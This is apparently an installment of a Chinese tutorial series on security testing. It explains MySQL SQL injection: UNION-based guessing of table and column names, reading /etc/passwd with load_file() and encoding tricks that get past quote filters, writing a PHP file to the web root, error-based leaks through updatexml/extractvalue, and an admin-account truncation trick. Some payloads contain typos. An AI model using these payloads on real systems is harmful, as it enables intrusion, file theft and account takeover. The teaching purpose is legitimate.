軟體安全性測試(連載10)
- 2019 年 12 月 26 日
- 筆記
3. MySQL資料庫特性
1)MySQL資料庫注釋
MySQL資料庫注釋如下。
l#:注釋從'#'到行位。
l--:注釋從'--'序列到行位。
l/**/:注釋/*序列到後面*/序列之間的字元。
具體可參照以下程式碼。
//在mysql中如何寫注釋語句
mysql> SELECT 1+1; # 這個注釋直到該行結束
mysql> SELECT 1+1; -- 這個注釋直到該行結束
mysql> SELECT 1 /* 這是一個在行中間的注釋 */ + 1;
mysql> SELECT 1+
/*
這是一個
多行注釋的形式
*/
1;
但是有一個特例。
MariaDB [sec]> select /*!5555,name*/ id from user;
+------+-------+
| 5555 | id |
+------+-------+
| 5555 | jerry |
| 5555 | cindy |
| 5555 | linda |
| 5555 | susan |
| 5555 | peter |
+------+-------+
5 rows in set (0.00 sec)
表示如果當前版本高於5.55.5,name這列被顯示,否則顯示id這列。
2)獲得MySQL的元資訊
正如上一節講到,可以通過聯合查詢來或者資料庫的元資訊。
查詢資料庫名稱
MariaDB [sec]> select SCHEMA_NAME fromINFORMATION_SCHEMA.SCHEMATA LIMIT 0,20;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| phpmyadmin |
| sec |
| test |
+--------------------+
6 rows in set (0.00 sec)
查詢當前資料庫表
MariaDB [sec]> select TABLE_NAME fromINFORMATION_SCHEMA.TABLES where TABLE_SCHEMA =(select DATABASE()) LIMIT 0,10;
+------------+
| TABLE_NAME |
+------------+
| paper |
| user |
查詢表中所有欄位
MariaDB [sec]> select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNSwhere TABLE_NAME='user' LIMIT 0,10;
+-------------+
| COLUMN_NAME |
+-------------+
| Host |
| User |
| Password |
| Select_priv |
| Insert_priv |
| Update_priv |
| Delete_priv |
| Create_priv |
| Drop_priv |
| Reload_priv |
+-------------+
10 rows in set (0.02 sec)
來看這麼一個聯合查詢
MariaDB[sec]> select id,name,password from user union select 1,2,3;
+----+-------+----------+
| id | name |password |
+----+-------+----------+
| 1 | jerry |654321 |
| 2 | cindy |123456 |
| 3 | linda |knyzh158 |
| 4 | susan |qwert |
| 5 | peter |zxcvb |
| 1 | 2 | 3 |
+----+-------+----------+
6 rows in set (0.00 sec)
首先找到一個存在SQL注入的網頁,然後利用上面這個聯合查詢來猜測資料庫中可能存在哪些表,表中可能存在哪些欄位。
網站http://www.domain.com/sec/21/jsp/index.jsp?id=3存在SQL注入漏洞。頁面顯示3號用戶的用戶資訊。猜測是否存在一個表名為person,用http://www.domain.com/sec/21/jsp/index.jsp?id=3 union all select 1,2,3 from person刺探,這是頁面出現500 error,說明不存在person這個表,然後根據經驗採用各種名稱,當猜測表名可能為user,用http://www.domain.com/sec/21/jsp/index.jsp?id=3union all select 1,2,3 from user刺探,沒有出現錯誤資訊,且出現了一堆如25一堆「用戶名:2,密碼:3」資訊,說明當前表名為user。

25 猜測到當前表名為當前表名為user
然後可以進一步猜欄位,比如先猜測欄位名是否為username,在地址欄中輸入:http:// www.domain.com/sec/21/jsp/index.jsp?i?id=3 union all select 1,2,username from user,出現500 error,進一步猜,當猜到欄位名為name的時候(這時URL為http:// www.domain.com/sec/21/jsp/index.jsp?i?id=3 union all select 1,2, name from user),顯示類似如26資訊,表示猜到了存在一個欄位名為user,並且可以看見所有這個欄位下的欄位名。

26 猜測到當前user表存在一個欄位name
3)讀寫文件
①讀文件
MySQL提供了load_file()函數用來讀文件,Into outfile()函數用來寫文件
讀文件:
...union select 1,load_file('/etc/passwd'),3, 4, 5, 6
通過這個語句,可以讀取Linix目錄中/etc/passwd文件。假設程式中不允許出現單引號',可以把上面語句改為。
...unionselect1,load_file(0x2F6563742F706173737764),3,4,5,6
0x2F6563742F706173737764為'/etc/passwd'十六進位格式,或者利用
...union se1ect1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6
47,101,99,116,47,112,97,115,115,119,100為/etc/passwd 的ASCII碼。如果頁面出現亂碼,可以用下面hax()函數辦法來解決。
... union selecthex(load_file(char(99,58,92,49,46,116,120,116)));
②寫文件
可以通過下面語句來寫文件。
...union select '<?php phpinfo(): ?>' into outfile'c:wwwroot1.php'
或
...union select char(99,58,92,50,46,116,120,116) intooutfile 'c: wwwroot1.php'
對於讀寫文件注意Linux要有足夠的讀寫許可權,並且文件必須為全路徑名稱。
4)利用MySQL函數
①concat()或 concat_ws()函數
concat ()函數用於將多個字元串連接成一個字元串。
concat_ws() 代表 concat With Separator ,是concat()的特殊形式。第一個參數是其它參數的分隔符。
比如:
MariaDB [sec]> select name from user where id =3 unionselect concat_ws(0x2c,user(),database(),version());
+------------------------------------+
| name |
+------------------------------------+
| linda |
| root@localhost,sec,10.1.19-MariaDB |
+------------------------------------+
2 rows in set (0.00 sec)
0x2c為逗號。在查詢的第二行root@localhost,sec,10.1.19-MariaDB通過逗號分為root@localhost為當前用戶、sec為當前資料庫、10.1.19-MariaDB為當前版本。
②updatexml()和extractvalue()函數
在5.1.5中添加了updatexml()函數和extractvalue()函數
lupdatexml()函數:對XML文檔進行更新的函數。
lextractvalue()函數:對XML文檔進行查詢的函數。
第二個參數需要xpath格式的字元串。如果不符合要求,這顯示不符合標準的資訊,黑客可以利用這個方法來獲取資料庫元資訊。
顯示資料庫版本。
MariaDB [sec]> select * from user where id=3 andupdatexml(1,(concat(0x7c,(select @@version))),1);
ERROR 1105 (HY000): XPATH syntax error:'|10.1.19-MariaDB'
由於第二個參數不是xpath格式,所以先顯示XPATH syntax error,然後再顯示現在的內容為|10.1.19-MariaDB,即資料庫版本。
顯示當前用戶。
MariaDB [sec]> select * from user where id=3 andextractvalue(1,(concat(0x7c,(select user()))));
ERROR 1105 (HY000): XPATH syntax error: '|root@localhost'
同樣由於第二個參數不是xpath格式,所以先顯示XPATH syntax error,然後再顯示現在的內容為root@localhost,即當前用戶。
更多MySQL函數可以查詢MySQL的官方網站。
5)長度折斷
下面這條語句往user表中插入了一個系統管理員admin的賬戶,是通過正常手段生成的。
insert into user(name,password) values('admin','rrbbyqutb@66_18T');
黑客可以通過如下語句,也添加了一個admin的賬戶。
insert into user(name,password) values('admin ','123456');
因為在前期判斷中
select * from user where username='admin ';
返回是一個null對象,說明系統中不存在,所以可以建立。
然而使用查詢語句。
select * from user where name='admin';
則可以查詢出來兩條記錄,所以一旦黑客成功,這可以使用自己定義的用戶名/密碼登錄了。

